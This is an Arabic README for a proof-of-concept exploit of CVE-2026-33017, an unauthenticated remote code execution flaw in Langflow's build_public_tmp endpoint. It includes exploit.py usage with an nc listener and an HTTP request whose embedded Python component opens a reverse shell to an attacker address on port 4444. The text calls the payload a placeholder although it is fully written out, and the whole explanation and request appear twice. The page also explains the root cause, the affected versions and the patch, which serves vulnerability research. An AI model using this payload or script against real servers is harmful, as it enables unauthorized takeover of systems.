
Langflow RCE
★ إثبات المفهوم (PoC) لثغرة CVE-2026-33017: تنفيذ تعليمات برمجية عن بُعد في Langflow ★
https://github.com/user-attachments/assets/562fc637-6be1-4ab9-a396-bfad56447af7
استخدم الأوامر التالية لإنشاء وتشغيل بيئة Langflow القابلة للاستغلال:
docker build -t cve-2026-33017-langflow-vuln .
docker run --rm -it -p 7860:7860 --name langflow-vuln cve-2026-33017-langflow-vuln
بعد تشغيل مثيل Langflow القابل للاستغلال، شغّل إثبات المفهوم مع عنوان URL للهدف ومعرّف التدفق العام وعنوان استدعاء المهاجم.
الخيار أ — استخدم مستمعك الخاص:
# Terminal 1: start a listener
nc -lvnp 4444
# Terminal 2: fire the exploit
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444
الخيار ب — استخدم المستمع المدمج عبر --listen:
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444 --listen
تُعد CVE-2026-33017 ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) في عملية بناء التدفق العام (Public flow) في Langflow، وهي منصة مفتوحة المصدر لبناء تطبيقات نماذج اللغات الكبيرة (LLM) وسير عمل الذكاء الاصطناعي بشكل مرئي.
من خلال إرسال بيانات تدفق مُصمَّمة بعناية إلى نقطة النهايةbuild_public_tmpدون مصادقة، يمكن للمهاجم التسبب في تنفيذ كود Python عشوائي على الخادم.
تؤثر CVE-2026-33017 على نقطة النهاية التالية لبناء التدفق العام في Langflow، وهي منصة مفتوحة المصدر لإنشاء تطبيقات نماذج اللغات الكبيرة (LLM) وسير عمل الذكاء الاصطناعي بشكل مرئي.
POST /api/v1/build_public_tmp/{flow_id}/flow
يُصمَّم التدفق العام (Public flow) في Langflow لمشاركته مع مستخدمين آخرين عبر رابط أو آلية مشابهة.
لدعم هذه الميزة، تُجهّز نقطة نهاية البناء التدفق للتنفيذ دون الحاجة إلى مصادقة، وذلك بقراءة عُقد التدفق وحوافه وإعداداته، ثم إنشاء الرسم البياني الداخلي للتنفيذ اللازم لتشغيله.
كانت المشكلة أن الإصدارات القابلة للاستغلال من build_public_tmp لم تكن تقبل معلومات التدفق العام المخزنة على الخادم فحسب، بل كانت تقبل أيضًا حقل data المقدَّم في نص الطلب (request body).
يمكن أن يحتوي حقل data هذا على تعريف التدفق بالكامل، بما في ذلك:
ونتيجةً لذلك، يمكن للمهاجم استخدام طلب غير مصادَق لحقن بنية تدفق خاضعة بالكامل لسيطرته، بدلاً من الاعتماد على التدفق العام الشرعي المخزّن على الخادم.
من الأجزاء الخطيرة بشكل خاص في هذا التصميم ميزة المكوّن المخصص (Custom Component).
في Langflow، يمثل المكوّن كتلة وظيفية فردية مسؤولة عن مهام مثل معالجة الإدخال أو استدعاء النموذج أو توليد المخرجات. أما المكوّن المخصص فهو كتلة قابلة للتوسيع تتيح للمستخدمين تعريف سلوكها مباشرةً في كود Python.
وبالتالي، يمكن للمهاجم تضمين مكوّن مخصص يحتوي على كود Python خبيث داخل كائن data المُصمَّم، وسيعالجه الخادم كما لو كان جزءًا طبيعيًا من التدفق. ونتيجةً لذلك، يمكن تحليل الكود المُحقَن وتنفيذه أثناء عملية البناء أو التنفيذ، مما يؤدي في النهاية إلى تنفيذ تعليمات برمجية عن بُعد.
| الفئة | الإصدار |
|---|---|
| قابل للاستغلال | Langflow قبل 1.9.0 |
| تم التصحيح | Langflow 1.9.0 والإصدارات الأحدث |
يُدرج إشعار أمان GitHub (GitHub Security Advisory) النطاق المتأثر على أنه
<= 1.8.2، لكن الإصلاح — إزالة معاملdata— وصل في 1.9.0. وبالتالي، فإن جميع الإصدارات قبل 1.9.0 (بما في ذلك 1.8.3 / 1.8.4) متأثرة، ولهذا ينص سجل CVE على< 1.9.0.
قد يسمح الاستغلال الناجح لهذه الثغرة للمهاجم بالسيطرة على خادم Langflow والقيام بإجراءات لاحقة مثل:
يُظهر إثبات المفهوم التالي CVE-2026-33017 على Langflow 1.8.1.
يحدد المهاجم أولاً flow_id للتدفق العام المستهدف.

يرسل المهاجم طلب build_public_tmp يحقن مكوّنًا مخصصًا يُنفَّذ كود Python الخاص به على الخادم أثناء البناء المؤقت. في الطلب أدناه، تُركت قيمة code كعنصر نائب (placeholder) — أدخل الحمولة بنفسك (انظر الملاحظة أسفل الطلب).
POST /api/v1/build_public_tmp/00000000-0000-0000-0000-000000000001/flow?event_delivery=direct&log_builds=false HTTP/1.1
Host: localhost:7860
Content-Type: application/json
Cookie: client_id=12345678-1234-1234-1234-123456789012
Connection: close
{
"data": {
"nodes": [
{
"id": "Exploit",
"data": {
"id": "Exploit",
"type": "ExploitComp",
"node": {
"template": {
"_type": "Component",
"code": {
"type": "code",
"value": "from lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name = 'X'\n outputs = [Output(display_name='O', name='o', method='r')]\n\n def r(self) -> Data:\n import socket,subprocess\n s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n s.connect(('192.168.102.178', 4444))\n p = subprocess.Popen(['/bin/bash', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())\n p.wait()\n return Data(data={'ok': 1})"
}
},
"outputs": [
{ "types": ["Data"], "name": "o", "method": "r" }
]
}
}
}
],
"edges": []
}
}
أثناء عملية البناء، يُنفَّذ الكود المضمَّن في المكوّن المخصص على الخادم. عند استخدام نموذج القشرة العكسية (reverse shell) الذي تؤتمته exploit.py، يتم إنشاء اتصال عكسي بمستمع المهاجم، مما يمنح المهاجم شلًا تفاعليًا لتنفيذ أوامر عشوائية على الخادم.

على الرغم من أن build_public_tmp صُمم لبناء التدفقات العامة، فإن الإصدارات القابلة للاستغلال كانت ما تزال تقبل حقل data مباشرةً من نص الطلب.
بسبب هذا التصميم، كان يتم تمرير data المقدَّم من المهاجم مباشرةً إلى منطق البناء على الخادم، وكان يتم التعامل مع أي كود Python مضمَّن في مكوّن مخصص كما لو كان جزءًا من تدفق شرعي.
ونتيجةً لذلك، لم يكن المهاجم بحاجة إلى الاعتماد على التدفق العام الأصلي المخزّن على الخادم. بل كان بإمكانه حقن تعريف تدفق خبيث بالكامل من تصميمه، بما في ذلك كود يمكن تنفيذه على الخادم.
بعد التصحيح، لم يعد build_public_tmp يقبل data المقدَّم خارجيًا.
بعبارة أخرى، أُزيل المسار الذي كان يسمح للمهاجمين سابقًا بحقن تعريف تدفق كامل عبر نص الطلب، مما منع أيضًا تنفيذ التعليمات البرمجية العشوائية عبر المكوّنات المخصصة الخبيثة.

73b6612e3ef25fdae0a752d75b0fabd47328d4f0تُعد CVE-2026-33017 ثغرة تنفيذ تعليمات برمجية عن بُعد (Remote Code Execution, RCE) تنشأ في عملية بناء التدفق العام في منصة Langflow مفتوحة المصدر لسير عمل الذكاء الاصطناعي.
يمكن للمهاجم، من خلال تمرير بيانات تدفق مُصمَّمة بعناية إلى نقطة النهايةbuild_public_tmpدون مصادقة، أن يتسبب في تنفيذ كود Python عشوائي على الخادم.
تحدث CVE-2026-33017 في نقطة النهاية التالية لبناء التدفق العام في Langflow، وهي منصة مفتوحة المصدر تتيح إنشاء تطبيقات نماذج اللغات الكبيرة (LLM) وسير عمل الذكاء الاصطناعي بشكل مرئي.
POST /api/v1/build_public_tmp/{flow_id}/flow
التدفق العام في Langflow هو تدفق يُتاح خارجيًا بحيث يمكن للمستخدمين الآخرين استدعاؤه واستخدامه عبر رابط أو ما شابه.
صُممت هذه الميزة بحيث يمكن تجهيز التدفق للتنفيذ دون مصادقة، إذ تقوم نقطة نهاية البناء بإنشاء الرسم البياني الداخلي للتنفيذ استنادًا إلى عُقد التدفق وعلاقات الاتصال وقيم الإعدادات، وتُعدّ كل كتلة لتكون جاهزة للعمل الفعلي.
المشكلة أن الإصدارات القابلة للاستغلال من نقطة النهاية build_public_tmp كانت تقبل قيمة data الواردة في نص الطلب أيضًا.
يمكن أن يتضمن حقل data هذا تعريف التدفق بالكامل كما يلي:
أي أن المهاجم كان بإمكانه، عبر طلب غير مصادَق، حقن بنية تدفق كاملة من تصميمه بدلاً من التدفق الشرعي المخزّن على الخادم.
من العناصر الخطيرة بشكل خاص في هذه العملية المكوّن المخصص (Custom Component).
في Langflow، يمثل المكوّن كتلة مسؤولة عن وظائف فردية مثل معالجة الإدخال أو استدعاء النموذج أو توليد المخرجات، بينما المكوّن المخصص هو كتلة قابلة للتوسيع يمكن للمستخدم تعريفها مباشرةً بكود Python.
كان بإمكان المهاجم إدراج مكوّن مخصص يحتوي على كود Python خبيث داخل data المُصمَّم، فعاملَه الخادم كعنصر طبيعي من عناصر التدفق. ونتيجةً لذلك، يُفسَّر هذا الكود ويُنفَّذ فعليًا في مسار البناء/التنفيذ، مما يتيح تنفيذ تعليمات برمجية عن بُعد.
| الفئة | الإصدار |
|---|---|
| الإصدار القابل للاستغلال | Langflow قبل 1.9.0 |
| الإصدار المُصحَّح | Langflow 1.9.0 والإصدارات الأحدث |
يُدرج إشعار أمان GitHub (GitHub Security Advisory) النطاق المتأثر على أنه
<= 1.8.2، لكن التصحيح الفعلي (إزالة معاملdata) طُبِّق في 1.9.0. لذلك، فإن جميع الإصدارات قبل 1.9.0 — بما في ذلك 1.8.3 و1.8.4 — قابلة للاستغلال، وينص سجل CVE على ذلك أيضًا على أنه< 1.9.0.
من خلال هذه الثغرة، يمكن للمهاجم السيطرة على خادم Langflow ثم تنفيذ إجراءات إضافية. من أبرز الآثار ما يلي:
إثبات المفهوم أدناه مثال على إعادة إنتاج CVE-2026-33017 في بيئة Langflow 1.8.1.
يحدد المهاجم أولاً flow_id الخاص بالتدفق العام المستهدف.

يرسل المهاجم طلب build_public_tmp مُصمَّمًا بحيث يُنفَّذ كود Python الخاص بالمكوّن المخصص على الخادم أثناء عملية البناء المؤقت. قيمة code في الطلب أدناه تُركت فارغة كعنصر نائب — يجب أن تضع الحمولة بنفسك (راجع الملاحظة أسفل الطلب).
POST /api/v1/build_public_tmp/00000000-0000-0000-0000-000000000001/flow?event_delivery=direct&log_builds=false HTTP/1.1
Host: localhost:7860
Content-Type: application/json
Cookie: client_id=12345678-1234-1234-1234-123456789012
Connection: close
{
"data": {
"nodes": [
{
"id": "Exploit",
"data": {
"id": "Exploit",
"type": "ExploitComp",
"node": {
"template": {
"_type": "Component",
"code": {
"type": "code",
"value": "from lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name = 'X'\n outputs = [Output(display_name='O', name='o', method='r')]\n\n def r(self) -> Data:\n import socket,subprocess\n s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n s.connect(('192.168.102.178', 4444))\n p = subprocess.Popen(['/bin/bash', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())\n p.wait()\n return Data(data={'ok': 1})"
}
},
"outputs": [
{ "types": ["Data"], "name": "o", "method": "r" }
]
}
}
}
],
"edges": []
}
}
أثناء عملية البناء، يُنفَّذ الكود المضمَّن في المكوّن المخصص على الخادم. وعند استخدام أسلوب القشرة العكسية (reverse shell) الذي تؤتمته exploit.py، يتم إنشاء اتصال بمستمع المهاجم، فيحصل المهاجم على شل تفاعلي يمكنه من تنفيذ أوامر عشوائية على الخادم.

على الرغم من أن نقطة النهاية build_public_tmp في الإصدارات القابلة للاستغلال هي واجهة برمجة التطبيقات (API) لبناء التدفقات العامة، فإنها كانت قادرة على استقبال قيمة data مباشرةً من نص الطلب.
بسبب هذا التصميم، كان data الذي يرسله المهاجم يُعكس مباشرةً في منطق البناء على الخادم، وكان يُتعامل مع كود Python الخاص بالمكوّن المخصص المضمَّن فيه كما لو كان عنصرًا شرعيًا في التدفق.
وفي النهاية، لم يكن على المهاجم اتباع التدفق العام الأصلي المخزّن على الخادم، بل كان بإمكانه حقن تعريف التدفق الخبيث الذي أنشأه كما هو، مع إمكانية تنفيذ الكود الخبيث المضمَّن فيه على الخادم.
بعد التصحيح، عُدِّل build_public_tmp بحيث لم يعد يستقبل data من الطلبات الخارجية.
أي أن المسار الذي كان يمكن للمهاجم من خلاله حقن تعريف التدفق نفسه عبر نص الطلب أصبح مسدودًا، وبالتالي أصبح تنفيذ التعليمات البرمجية العشوائية عبر المكوّنات المخصصة مستحيلًا أيضًا.

73b6612e3ef25fdae0a752d75b0fabd47328d4f0| الخيار | الوصف |
|---|
--url | عنوان خادم Langflow الهدف |
--flow-id | المعرّف الفريد (UUID) للتدفق العام المشترك |
--lhost | عنوان IP لاستدعاء المهاجم |
--lport | منفذ استدعاء المهاجم |
--listen | تشغيل المستمع المدمج بدلاً من nc خارجي |